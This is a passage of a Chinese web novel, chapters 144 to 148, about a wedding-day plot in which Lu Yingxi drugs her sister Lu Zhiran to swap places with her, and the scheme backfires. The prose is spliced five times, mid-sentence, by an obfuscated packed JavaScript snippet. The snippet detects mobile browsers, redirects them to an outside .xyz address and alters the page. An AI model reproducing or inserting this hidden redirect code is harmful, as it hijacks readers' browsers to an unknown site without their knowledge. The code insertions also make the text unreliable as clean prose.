“冯有才,把锦绣坊的账目给他们看看。” 很快,一本账册便被送到了葛松源的手里,他战战兢兢地翻开,瞳孔立马放大,满是难以置信。 这账目又依次传了下去,每个人脸上都露出如出一辙的表情。 萧晏清看到上面的数目,手一抖,险些没拿稳。 德丰帝冷声,“平乐县主便是用你们口中那上不得台面的手段,仅一日就赚了五十万两定金,加上尾款,足有二百万两之多。” 那些还没看到账册的官员惊得倒吸冷气。 “这些银子,有一半能充入朝廷国库。请问诸位,谁有本事能在一日内赚到这么多银子?户部的诸位爱卿,你们有这本事吗?” 户部众官员一阵汗颜。 他们要是有这本事,就不会天天哭穷了。 同为户部官员的陆贯轩也汗颜了。 他这女儿挣钱的本事也太强了些…… “葛爱卿,你呢?你可有这本事为朕分忧?” “微臣无能,没,没有这般本事。” 德丰帝冷哼,“听方才你那番口气,还以为你能力超凡脱俗,无人能敌呢。” 葛松源被架在了火上,脸色十分难看。 德丰帝淡淡看向堂下众臣,“朕知道你们心中如何想,一个个自诩清流,目高于顶,都瞧不起商贾。但你们每日吃用,无不出自商贾。平乐县主此计,心思奇巧,推陈出新,效果显著,远比你们这些故步自封之流强了千百倍。” “人要学会灵活思辨,朕亦是如此,若一味抱残守旧,大齐朝就永远在原地踏步。莫说只是后宫一些寻常之物,便是朕的御用之物,若能换来如此奇效,朕也会愿意割爱。” 这番话让众人心头剧震,一时说不出话来。 萧晏清立马站出来,“父皇高瞻远瞩,深谋远虑,儿臣受益良多,父皇英明!” 众人也跟着跪下高呼皇上英明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161999|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德丰帝面上多了一丝淡淡笑意,“此事首功乃是平乐县主。” 当初,他第一次听到这个提议时,也是与众臣一样的反应,觉得有辱斯文。 但萧宝珠极力劝说,又许以重利相诱,他这才勉强松口。 没想到,最后她们当真交上来这般丰厚的回馈,这完全超出了他的预料。 “陆爱卿,你当真生了一个好女儿啊。” 陆贯轩受宠若惊,心中对陆知苒更添了几分看重。 德丰帝又转眸看向葛松源,“葛爱卿,你到底年事高了,耳目也不如年轻人敏锐,也该到告老的时候了。” 葛松源如遭雷击,身子僵直许久,才慢慢匍匐叩首,“微臣的确早有致仕的想法,多谢皇上恩典!” 萧晏清面上笼上一层阴郁。 父皇的处置未免太过严厉了些! 葛松源告老,他又少了一个人,他必须得想法子再把自己的人提上去才行。 方才也同样掺和了一脚的官员一个个噤若寒蝉,唯恐下一个被收拾的就是自己,幸而皇上只是敲打两句,并未严惩。 散朝后,陆贯轩又受到了大家的百般恭维,他的腰杆也挺得更直了几分。 李贵妃等来等去,没等到皇上降罪陆知苒的好消息,反而等到了皇上给柔妃、惠嫔等人的嘉奖,因为她们为锦绣坊此次之事提供了刺绣,以及熏香和胭脂的配方,立了功。 这个消息让李贵妃大受打击,恨恨地在毓秀宫里又砸了一套茶盏。 陆贯轩把这个好消息带回了陆府,他看着陆知苒的眼神更是充满了赞誉。 “苒姐儿,为父没想到你能有如此大才,今日在朝堂上,皇上公然夸赞你心思奇巧,连带着父亲也沾了光,你委实令为父刮目相看!” 陆知苒盈盈浅笑,“想来女儿是继承了娘亲的天赋。父亲不嫌女儿行商贾之事,满身铜臭就好。” 陆贯轩一脸正色,“怎会?你啊,这是替朝廷分忧,替皇上分忧,是天大的荣耀,为父怎会嫌你?” “那就好。” 第144章 迂回手段 一旁,方氏母女早已经恨得牙根痒痒。 方氏还能稳住情绪,但陆映溪眼底的怨毒压都压不住。 凭什么所有的好事都让陆知苒占了?她何德何能! 陆贯轩又道:“过几日便是你妹妹的亲事了,苒姐儿,到时候你也可以多请一些你的朋友来府上喝杯喜酒,沾沾喜气。” 这是想借此机会向上结交呢。 陆知苒眸底闪过一抹嘲讽,她这个父亲,可真是一如既往地唯利是图。 面上她半分不显,笑着点头应是。 陆贯轩眸光一转,落在陆映溪的身上,后者立马垂下眼睑,将情绪收敛。 陆贯轩面露几分不悦,“马上就要嫁人了,你也该懂事了。嫁到姜家就安分守己,好好侍奉公婆夫君,莫要再惹出祸端来。听清楚了吗?” 陆映溪心中闪过恨意。 曾几何时,父亲待自己视若珍宝,而今,一切都变了。 她的宠爱,她的人生,都被陆知苒这小**抢走了。 她从齿缝里吐出几个字,“是,父亲。” 陆贯轩与陆知苒一同离开,感受到身后那道有如实质般的目光,陆知苒回眸,朝她们露出一抹微笑。 陆映溪心头如同针扎,恨意也似藤蔓般蔓延。 “**!我定要让她生不如死!” 方氏被她眸底的癫狂吓了一大跳,急忙握住她的手。 “溪儿,你别冲动,报仇的事交给母亲。上回你爹把姜永康参了一本,害他被降职罚俸,你嫁到姜家,日子定然更加不好过,母亲现在就送你走,一切还来得及。” 陆映溪烦躁地一把甩开她,怒吼,“我说了我不走,你听不懂话吗?不把陆知苒弄死,我绝不会离开京城!” 方氏被她甩手的力道推得趔趄几步,脸上表情变幻几瞬。 “溪儿,母亲都是为了你好。” 陆映溪满脸暴躁,“我不需要!我的仇我自己报!” “你想做什么?溪儿,陆知苒不好对付,你万不能胡来。” “我自有分寸,不用你管。” 撂下这话她就想走,被方氏一把拉住。 “溪儿,我不管你谁管你?我是你娘,我不会害你的啊!咱们母女若是离了心,那才是真的让亲者痛仇者快!” 方氏苦口婆心,陆映溪原本执拗的表情这终于稍稍松动。 “娘,我等不了了,我要让她生不如死!” 方氏轻轻搂住她,伸手拍着她的后背。 “告诉娘,你的计划是什么?娘会帮你的。” 母女二人在屋中好一番密谋,再出来时,陆映溪的脸上已经没了往日阴鸷,取而代之的是势在必行的决绝与狠厉。 …… 锦绣坊之事已经慢慢步入正轨,陆知苒便交给了萧宝珠和手下人,没有再亲力亲为。 翠芙的梳头手艺好,陆知苒的头发都是她在打理。 “小姐,今日奴婢给您梳一个飞仙髻,正好与您这一身百花织锦斗篷相配。” 陆知苒合眼小憩,轻轻嗯了一声。 翠芙用梳子轻轻地给她梳头,每一下动作都十分轻柔,没有弄疼她半分。 陆知苒鼻尖嗅到一股淡淡的香味,十分清新淡雅。 “你手上擦了什么?倒是好闻。” 翠芙笑道:“是咱们院里的二等丫鬟冬雪自己做的,她给奴婢送了一盒,奴婢闻着味道不错便收下了。小姐若是喜欢,奴婢给您拿来。” 陆知苒笑着摇头,“这是旁人送给你的,我哪能夺人所好?我只是闻着味道不错罢了。” 陆知苒又随口问起了冬雪的情况,翠芙道:“她是家生子,做事麻利又妥帖,她娘以前还在咱们夫人跟前伺候过呢。” 因着这一层关系,翠芙对她又多两分喜爱。 “倒是个不错的,有合适的机会可以抬一抬。” 翌日,冬雪就被翠芙安排到了内院伺候茶水。 小姑娘生得斯文秀气,手脚也十分麻利。 只是…… 陆知苒的目光落在某处,微微顿了顿。 屋中没了旁人,她把翠芙又唤到跟前,“冬雪给你送的那盒护手的霜膏,你拿来我瞧瞧。” 翠芙不明所以,很快就拿来了。 陆知苒打开,凑到鼻尖认真闻了闻,眉头微微蹙起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162000|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翠芙一下紧张起来,“小,小姐,这东西有什么问题吗?” 陆知苒没有多说,只道:“你悄悄拿到杏林草堂,找张大夫分辨一番,里头都有些什么。小心着些,莫要让人瞧见。” 翠芙面色白了两分,到底不敢多问,转身飞快去了。 小半个时辰后,翠芙回来了,脸色不大好看。 她将一张纸条从袖中取出,递到了陆知苒面前。 “小姐,张大夫说,这里头含有漆和桑叶。” 丹烟的脸色也一下变了。 自小在小姐身边伺候,她们比谁都清楚,小姐碰不得漆和桑叶,若是碰了,轻则起红疹,重则会有性命之忧。 这护手霜膏是送给翠芙的,翠芙日日涂在手上,又伺候陆知苒梳头,更衣,净面,一不小心,就会沾到她的身上,引起严重的后果。 这一切,难道真的只是巧合吗? 这世上哪来那么多巧合? 翠芙“扑通”一声跪了下去,“小姐,此事都是奴婢的错,奴婢识人不清,这才险些酿成恶果。请小姐责罚!” 陆知苒把人扶了起来,“此事不怪你,谁都想不到她们会用这般迂回的手段。” 丹烟满脸愤愤,同时又好奇,“小姐,您是怎么发现的?” 陆知苒淡淡道:“那丫鬟手上戴着一只玉镯,乃上品。她虽刻意藏着,却恰好被我瞧见了。” 那或许不能说明什么,但宁可信其有,不可信其无,她这才查证一番。 没曾想,还真让她查出端倪来了。 她行事谨慎,所有近身伺候的活都交给当初从宣平侯府带回来的心腹负责,旁人没法直接下手,就只能打她身边人的主意。 “好个吃里扒外的东西,小姐,奴婢这就把她抓进来好生拷问!” 陆知苒把她拦住,“不可打草惊蛇。” 对方的手段如此迂回,最多只会让她起疹子,不会有致命风险。 可如此处心积虑地下手,就为了让她起个疹子那么简单? 定然不可能。 对方定然还有其他意图。 她们究竟想做什么? 第145章 偷梁换柱 陆知苒立马吩咐她们去查一查,这段时日冬雪都见了哪些人,方氏和陆映溪那边,又都有哪些动向,事无巨细,都需一一回禀。 这世上没有不透风的墙,也没有绝对周全的计划。 所有消息汇总到陆知苒手中,她眼底闪过一抹幽冷的光。 她的好妹妹精心替她准备了礼物,自己怎能不好好回报她呢? 翌日,陆知苒便传出脸上起了红疹子的消息,是因不小心吃坏了东西之故。 为免脸上留疤,她便闭门不出,连两日后的婚礼也没法露面。 转眼便到了婚礼前夜,陆映溪兴奋得难以入眠。 她自然不是期待自己的婚礼,而是期待自己明日的计划。 她们已经做了周全的安排,只等明日,好戏就要开唱了! 翌日,陆府一大早就热闹了起来。 陆映溪早早地被叫起,开始梳妆打扮,她整个人却是神采奕奕,眼睛也亮得惊人。 反观方氏,眼底一片青黑,看上去精神萎靡,显然没有睡好。 不知为何,她总有些不安的预感。 她只能再三确认一切安排妥当,这才略略放松几分。 陆映溪的小院院门紧闭,与外面的热闹格格不入。 方氏和陆贯轩在前头招待宾客。 因为陆知苒再次立下大功,陆家的这场喜宴邀请到了不少有头有脸的人家,陆贯轩脸上也多了几分真心实意的笑。 方氏忽而幽幽道:“老爷,苒姐儿到底是溪儿的亲姐姐,今日这样的场合,她就算不便在宾客前露面,也应当去给溪儿添妆才是。姐妹间,连这表面功夫都不做,传出去,咱们陆家也要被人笑话。” 陆贯轩脸上的笑容微微凝固,眉头不禁蹙起。 “她没去给溪儿添妆?” 方氏摇头,“方才婆子向妾身回禀,她连面都没露,便是派人做做样子也不曾。妾身便是心有不满,也断然不敢派人去催,不然旁人还以为妾身就惦记着她那点添妆呢。” 陆贯轩心中对陆知苒生出了两分不满,转头就吩咐人去请陆知苒。 方氏唇角微微勾起一抹弧度。 陆贯轩派人来请时,陆知苒刚梳洗打扮好,她戴上了面纱,往陆映溪的云烟阁而去。 作为亲姐妹,她自是要去给陆映溪添妆,就算父亲没有派人来请,她也会走这一趟,不然接下来的好戏要如何唱下去? 喜房内,陆映溪着大红嫁衣,衣上金线绣着龙凤呈祥的图案,袖口与裙摆处缀满了精致的云纹,仿佛每一步都踏在祥云之上。 头戴凤冠,珠帘轻垂,遮住了她低垂的眉眼,却掩不住那粉面朱唇的娇艳。 陆家的女儿长得都不差,陆映溪本也是个天生丽质的美人,如此一番盛装打扮,更是衬得她分外美艳动人。 陆知苒让翠芙和丹烟把匣子奉上,满脸含笑,“这是我给妹妹送的一份添妆礼,恭贺妹妹新婚大喜,祝妹妹与妹夫永结同心,白头偕老。” 陆映溪今日格外温柔,低眉顺目,唇角含笑,轻声开口,“多谢姐姐!” 默了默,陆映溪又道:“姐姐,今日我就要出嫁了,过往种种,我们便就此一笔勾销吧。我们毕竟是亲姐妹,岂能一直互相仇视?” 她的语气真诚,还夹杂着一丝怅惘,似是真的看开了。 陆知苒也真诚道:“妹妹能想得开自是再好不过。” 陆映溪伸手,拉住陆知苒,“姐姐便留下来陪我说说话吧,以后怕是再没这样的机会了。” 陆知苒看着她拉着自己的手,从善如流地点头,“好呀。” “我有些私房话,想单独与姐姐说。” 陆知苒十分爽快,示意翠芙和丹烟在外面等着自己,陆映溪也把丫鬟和喜娘等人都谴了出去,屋中就只剩下了她们姐妹二人。 过了足足小半个时辰,房门才终于再次打开。 陆知苒从屋中走了出来,她似是哭过,眼角泛红,开口的声音也透着股嘶哑。 “妹妹想自己一个人待一会儿,你们先别进去打扰她。” 众丫鬟互相交换眼神,低声应是。 翠芙和丹烟二人不知去了何处,陆知苒搜寻一圈没瞧见人,便独自离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162001|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 陆君成站在云烟阁的门口,踟蹰着不敢进去。 他一直在书院读书,是最后一个知晓二姐姐要出嫁的。 当得知二姐夫的人选之后,他再傻也猜到这其中或许另有隐情。 但究竟是何隐情? 他曾经尝试问过,却遭到了母亲的严厉训斥,母亲只让他专心读书,其他的一概不许多管。 二姐姐更像是完全换了个人,脾气暴躁,将他骂了个狗血淋头。 今日,他也有东西想送给二姐姐,虽然不算贵重,却也是他的心意。 但他一直踟蹰着不敢进去,唯恐会再遭到二姐姐的怒骂。 他站在角落,没人注意,他却看到了从院中出来的戴着面纱之人。 那番打扮像是大姐姐,可是身形瞧着却不大像,反而有点像另一人。 抛开念头,他迈步走了进去,却被丫鬟拦住了。 “少爷,小姐她想自己静一静。” 陆君成微微黯然,也没有强求,只把自己的东西交给丫鬟便离开了。 这只是一个微不足道的小插曲,并未放在心上。 不曾想,之后,这场喜宴会闹出这般大的波折来。 陆知苒离开了云烟阁,没有往瑶光阁走,而是行至一处僻静的院落,里面早已有人在等着她。 她把面纱取下,露出了整张脸,这人压根不是陆知苒,而是本该待在新房中的陆映溪! “二小姐,一切可顺利?” 陆映溪的脸上露出一抹阴冷的笑,“我已经做了万全的准备,岂有不成功的道理?等着瞧吧,这一回定要让她生不如死!” 谁都不可能猜得到,此时的陆知苒早已经被换上了新娘服饰,盖上了红盖头,就等着被送上花轿呢! 她被下了药,无法控制自己,更无法说话,只能乖乖听从摆布。 待到了姜家,她就会被送入洞房,姜星熠那个色胚见了她,岂有不下手的道理? 到那时,生米煮成熟饭,她便是插翅也难逃! “二小姐,事不宜迟,您赶紧换上丫鬟的衣裳,奴婢送您离开。” 第146章 事发 陆映溪被拉回了思绪,点了点头。 她很想留下来亲眼看看陆知苒的下场,但她也知道自己该走了。 若是此时不走,到时候就真的走不了了。 这次是她亲手给陆知苒下药,换衣裳,盖上了盖头,娘亲也安排了那么多人盯着这件事,定然出不了岔子。 有母亲和舅舅在,她便是离开京城,也能继续过着优渥的日子。 从今以后,陆知苒就要代替她,在姜家那个火坑里挣扎。 想想就觉得无比痛快! 陆映溪动作麻利地换上了丫鬟衣裳,低着头,跟着那人快步离开了这里。 前院,宾客云集,甚是热闹。 吉时临近,一阵吹吹打打由远及近,新郎官的迎亲队伍到了。 新娘盖着红盖头,安安静静地坐着。 她的身上似是没有什么力气,整个身子几乎都倚靠在丫鬟的身上,被丫鬟连拖带搀着往外走。 拜别父母时,新娘体力难支,连茶水都有些端不稳,多亏旁边的丫鬟代劳。 陆贯轩有些不悦,但当着众人的面,到底没有多说什么。 方氏哭得满脸是泪,殷殷嘱咐一番,这才恋恋不舍地与她作别。 目送新娘上了花轿,方氏这才缓缓收起了眼泪,眸底多了一丝阴冷。 方才她已经确认过了,那红盖头下的人不是她的溪儿,定是陆知苒那小**无疑! 而她的溪儿,定然早已经顺利出城了。 事后老爷便是再如何发作,也改变不了事实。 为了溪儿的未来,她也顾不得那么许多了。 街上锣鼓喧天,鞭炮声此起彼伏,一身喜服的姜星熠骑在高头大马上,这么瞧,倒是身姿挺拔,丰神俊逸。 朱红色的八抬大轿绕过了大半个城,终于到了姜家。 轿子落地,姜星熠踢轿门,喜娘把新娘子从花轿里牵了出来。 姜家的门第不高,但宾客亦不少。 宣平侯府众人自然来了。 楚云清的所有注意力都放在新娘子的嫁妆上,只有三十二台,而且看他们抬箱子的轻松模样,只怕里头也没装什么好东西。 楚云清立马跑到姜氏身旁,低声与她一番耳语。 姜氏闻言,眼底也流露出鄙夷与不满来。 吉时到,倌相开始唱礼。 “一拜天地——” “二拜高堂——” “夫妻对拜——” “礼……” 最后的“成”字还没来得及说出口就卡壳了,新娘子的红盖头不知何故,竟突然掉了下来。 这可是大大的不吉利! 喜娘急忙伸手去捡,赶紧想给新娘子重新盖上去。 人群中却有人惊叫出声,“呀,她是谁?她根本不是新娘子啊!” 众人的目光刷一下落在那穿着凤冠霞帔的人脸上,场面顿时沸腾了。 他们参加过那么多场婚宴,这连新娘子都能弄错,还是头一回见。 喜娘手里的帕子都惊掉了,两名搀扶着“新娘子”的丫鬟也惊得目瞪口呆。 “秋月!怎,怎么是你?” 分明应该是大小姐才对啊!这,怎会突然变成了秋月? 秋月脸上一副快哭了的表情,她本就浑身酸软无力,两个丫鬟一撤了搀扶的力道,她整个人便直接软倒了下去。 姜星熠瞪大了眼睛,旋即气得抬脚就狠狠给了秋月一脚,“好你个贱婢,竟敢冒充新娘,谁给你的狗胆?” 秋月口不能言,自然没法为自己辩解。 姜夫人董氏冷冷开口,“此事若无陆家授意,她一个丫鬟怎么可能堂而皇之地冒充小姐?陆家分明就是不想结这门亲,才故意拿个丫鬟搪塞。到时候新娘送入了洞房,生米煮成熟饭,我们姜家也不得不吃下这个哑巴亏。” 姜永康满脸怒容,拍案而起。 “好,好得很啊!陆家真是欺人太甚!” 上次他因陆贯轩被降职罚薪,心中一直耿耿于怀,而今又出了此事,简直新仇旧恨一起爆发了。 姜星熠也觉得受到了莫大的侮辱。 “真当我稀罕他陆家女儿?若非她蓄意勾引,与我有了肌肤之亲,我还瞧不上她呢!陆家还敢拿一个丫鬟来打发的,这贱婢的身份也想进姜家的门?真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162002|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是痴人说梦!” 姜永康直接抬步就走,“我们这就去陆家讨要一个说法!” 陆家那边跟着送亲的人急得不得了,却又没法阻拦,只能赶紧派人回去报信。 陆府那头正热热闹闹的,陆贯轩忙着与同僚们应酬,听着大家对他的奉承拍马,很是春风得意。 就在这时,下人急匆匆入内,高声嚷嚷。 “老爷,老爷,不好了,出事了……” 陆贯轩顿时恼了,“大喜的日子瞎嚷嚷什么?有什么天大的事不能过后再说?” 那传话的小厮急得满头大汗,“老爷,是,是姜家那边来人了,姜老爷姜夫人,还有姑爷以及一众宾客,他们都来了!” 陆贯轩的神色一变,心中生出一股不大好的预感。 “眼下不该是拜堂的时候吗?他们跑到陆府来做什么?” 那小厮脸色涨红,“小的跑得太急,还,还没来得及问清楚情况。” 陆贯轩气得想**。 方氏努力压了压唇角的笑意,这才开口,“老爷,想来是亲家那边出了什么变故,咱们不妨先去看看,当面问问清楚。” 事已至此,也只能如此。 两个亲家一见面,立马就有一股**味冒了出来。 陆贯轩蹙眉,“姜大人,你们这是何意?莫不是对与我陆家的这门亲事不满?” 姜永康冷笑一声,“陆大人,事到如今你还好意思在我面前装傻?分明是你们陆家不把姜家放在眼里,根本没有诚心结这门亲!既如此,当初就直接把话说清楚,又何必浪费这时间精力来办这场喜宴?” 陆贯轩不明所以,只觉得姜永康简直一如既往地不讲道理。 方氏扯出笑脸,语气分外和煦,“姜大人,我们两家是不是有什么误解?我们可是真心实意要结亲的。” “那你们好好解释解释,这个新娘子是怎么一回事?” 董氏一个眼神示意,立马就有人把秋月拉了上来。 看着眼前穿着凤冠霞帔的人,方氏有如五雷轰顶般,再笑不出来了。 怎么会是秋月?陆知苒呢? 第147章 二小姐找到了 陆贯轩则是完全懵了,“这,这是怎么一回事?” “陆大人,事到如今你还继续装傻?这就是你们陆府送来的新娘!若非拜堂之时,她的盖头不小心掉了下来,我们姜家就要娶一个身份卑贱的丫鬟进门了!” 陆贯轩身子一个趔趄,险些摔倒。 “这不可能!我们怎会做这般荒唐之事?” “这新娘子的盖头是在众目睽睽之下掉落,在场所有宾客都可以作证!我们姜家可没有半点冤枉你们陆家!” 陆贯轩脸色几番变化,彻底说不出话来。 姜永康见此,这才狠狠出了一口心头恶气。 陆君成想到了什么,脸色几番变化,最终他也只是低下头,半个字都不敢说。 陆贯轩转向方氏,咬牙切齿地问,“这是怎么一回事!” 方氏整个人都是麻的,她哪里知道是怎么一回事! 事情完全超出了掌控,她心底升起了一股十分不好的预感。 “妾身一直在前面忙碌,也不曾到喜房中查看,不,不知道是怎么一回事啊。” 陆贯轩恼怒,“这也不知道,那也不知道,你就是这么当家的?” 方氏被骂得脸色涨红。 她上前,抬起手就狠扇了秋月几个耳光。 “你个小贱蹄子,说,到底是怎么一回事!二小姐人呢?” 秋月的哑药药效还没过,说不出话来,只能疯狂摇头,口中呜呜。 “吃里扒外的贱婢,看我怎么收拾你!” 方氏眼底闪过一抹杀意,秋月吓得瑟瑟发抖,只能连连磕头,呜呜求饶。 姜永康高声道:“别在这演戏了,快把人交出来。我们姜家已经下了聘礼,你们却交不出人,此乃欺诈,我定要向皇上参你一本!” 姜星熠双手抱怀,吊儿郎当地道:“陆映溪已经是我的人,她不嫁给我,日后也没人会要她。趁着现在我还愿意娶她,赶紧把人交出来,不然,我若不愿意了,她就只能到庙里当姑子去了!” 当着这么多宾客的面,陆贯轩里子面子都丢尽了。 “还愣着做什么?还不快给我把那逆女找出来!” 定要狠狠扒了她的皮! 方氏立马派人去找。 依照计划,溪儿此时应当早就出城了,但本应该是陆知苒的新娘子一下换成了秋月,这让方氏心头闪过一抹深深的不安。 只盼着不要出什么意外才好。 下人们在府中各处找了一圈,却一无所获,陆贯轩的脸色变得越发难看。 “陆大人,令爱该不会是逃婚了吧!” “定是如此,这丫鬟明显被人下了药,当障眼法的。” “陆大人,令爱当真是胆大包天啊。” 宾客的议论传入陆贯轩的耳中,他脑子一阵嗡鸣。 那逆女,当初分明是她自己上赶着要嫁入姜家,而今又闹出逃婚这样的丑事来,这是把陆家的颜面置于何地? 姜星熠气势汹汹,“报官,现在就报官!定要把她抓回来!我姜家可是正经走了三媒六聘的流程,你们陆家无论如何也要把人给我送来。” 顿了顿,他又别有意味地补了一句,“实在不行,用陆家的其他小姐代替,我也勉强能接受。” 最好是让陆知苒代替陆映溪。 陆贯轩听懂了她的言外之意,顿时气得倒仰。 他还指望苒姐儿再寻一高门,为陆家挣一个锦绣前程呢,岂能便宜了姜星熠这个癞**? 姜家当真要派人去报官,陆贯轩急忙阻拦。 这事已经闹得够丢人了,再闹到官府去,就真的丢脸丢到姥姥家了。 就在双方拉锯之时,人群外传来了一阵骚动。 “找到了,找到了,二小姐找到了!” 方氏的表情瞬间凝固,心头那股不祥的预感更加强烈。 陆贯轩则是怒意上头,“那逆女在何处?给我带上来!” 人群自动让开,但来人却让众人十分意外。 贺昀朝陆贯轩行了一礼,“陆大人,方才在贺连山脚下,我家殿下遇到了一辆形迹可疑的马车,想着前段时间的山匪一事,就多问了几句,对方很快露了马脚,这才发现马车中是乔装打扮的贵府二小姐。我家殿下唯恐贵府二小姐被歹人挟持,出了什么意外,特命属下护送回来,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162003|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下她就在马车上。那个挟持贵府二小姐的歹人也带来了。来人,把人带上来!” 贺昀的一番话叫方氏眼前一黑,险些晕过去。 又是这个瑾王! 为何每次他都要来横插一脚? 若说这其中没有陆知苒的安排和授意,她根本不信! 溪儿逃婚被抓,之后再想走根本不可能,她原本就艰难的处境只会更加雪上加霜,该如何补救? 不待方氏想出应对之策,就有一个五花大绑的人被带了上来。 是个身形魁梧,三十上下的男人,一身车夫的装扮,倒是长得颇为英武。 方氏瞳孔微缩,他根本不是自己安排的护送溪儿离开的人,他是谁? 陆贯轩高声怒骂,“你是谁?谁给你的胆子,胆敢挟持陆家小姐!” 男人低着头没说话。 心腹嬷嬷与方氏低声耳语,“他是车夫老李头的小儿子李根茂,这段时间老李头摔断了腿,都是他在给二小姐赶车。” 方氏心头一紧,她预感到接下来定然有更大的阴谋,连忙道:“老爷,这贼子胆大包天,合该乱棍打死!” 姜永康冷笑,“事情还没弄清楚呢,你们就急着把人打死,莫不是要**灭口?” 陆贯轩被挤兑得脸色十分难看。 姜星熠盯着这容貌英武的男人,眼神阴鸷。 “有什么好审的?他们分明就是一对狗男女!只怕那**身子早就不干净了。如此放荡,合该抓去沉塘!” 想到自己睡了个别人睡过的女人,姜星熠就觉得**极了。 这话肮脏又恶毒,方氏气得脸色铁青。 “你胡说八道!我家溪儿冰清玉洁,更是知书达理的大家闺秀,怎会做出与人私奔这样的事?” “冰清玉洁?她若冰清玉洁,会在寺庙之地就勾引我?会在我们的大婚之日跟这个野男人跑了?” 方氏气得想撕了他的嘴,“溪儿不可能与人私奔,她分明是被这贼人挟持,所幸得瑾王殿下仗义援手,这才得以保全。” 便是蓄意逃婚,也比与人私奔来得好听,她定不能让溪儿担上这样一个罪名。 第148章 就当没生过这个女儿 “到底是被人挟持,还是与人私奔,好好审一审这男人就知道了。” 姜星熠抬脚,一脚将那五花大绑的李根茂踹翻在地。 “说!你与那**到底是怎么一回事?” 李根茂生得高大,却是个软脚虾,早已经吓得瑟瑟发抖。 “贵人饶命,小的是二小姐的车夫,是,是二小姐给小的传话,让小的带她离开,远走高飞。小的一时色迷了心窍,这,这才犯下如此大错,请贵人饶命啊!” 众人听得一阵哗然。 姜星熠气得抬脚又给了李根茂一脚。 “你个卑贱的车夫,连本少爷的女人也敢抢?也不撒泡尿照照自己!” 方氏急得脸都白了,指着他怒骂。 “你简直胡说八道!溪儿堂堂大家闺秀,怎会看上你?分明就是你觊觎溪儿美色,使了手段将她掳走!来人,将他给我乱棍打死!” 一听这话,李根茂顿时吓得脸又白了几分。 他磕磕绊绊地开口,“不,不是的,小的说的都是实话!小的身上还有二小姐派人送来的书信!” 方氏心头咯噔一下,正欲让人上前搜查,姜星熠已经抢先了一步,从那人怀里摸出了一封书信。 “好啊,还敢说她不是与人私奔,那这是什么?这白纸黑字,分明是她写给奸夫的信!” 方氏不敢置信,“不可能!这,这定是假的!” 姜星熠冷笑,“是真是假,直接送去官府,请人当面比对鉴定笔迹便知。” 方氏大喊,“不能报官!” 她不敢赌。 万一…… “那书信是假的,我没有写过什么书信!” 陆映溪终于按捺不住,从马车上下来了。 从城外被瑾王“好心”地救下来,她心中本已十分绝望,但想到此时陆知苒已经和姜星熠拜堂,送入洞房了,她心里便平衡许多。 可万万没想到,现实再次给了她沉重一击。 被她药倒,换上嫁衣,戴上红盖头的陆知苒,竟变成了秋月! 而她,则变成与车夫私奔的**! 听着外面众人毫不遮掩的议论,她既愤怒,又惊慌,备受煎熬。 她从车上冲下来,愤怒高喊着那话。 见了她,姜星熠眸底立马蹦出嫌恶,就好像她是什么脏东西一般。 “这信是不是真的不重要,重要的是,你在我们的大婚之日装扮成了丫鬟,跟一个野男人私奔!什么书香世家,什么大家闺秀,今日我倒是亲眼见识到了。” 陆映溪神情一滞,“我没有与他私奔,我,我是被挟持的!他方才那番话全都是污蔑!” “私奔也好,劫持也罢,你的名声都毁了。一个不干不净的女人,也配进我姜家的门?” 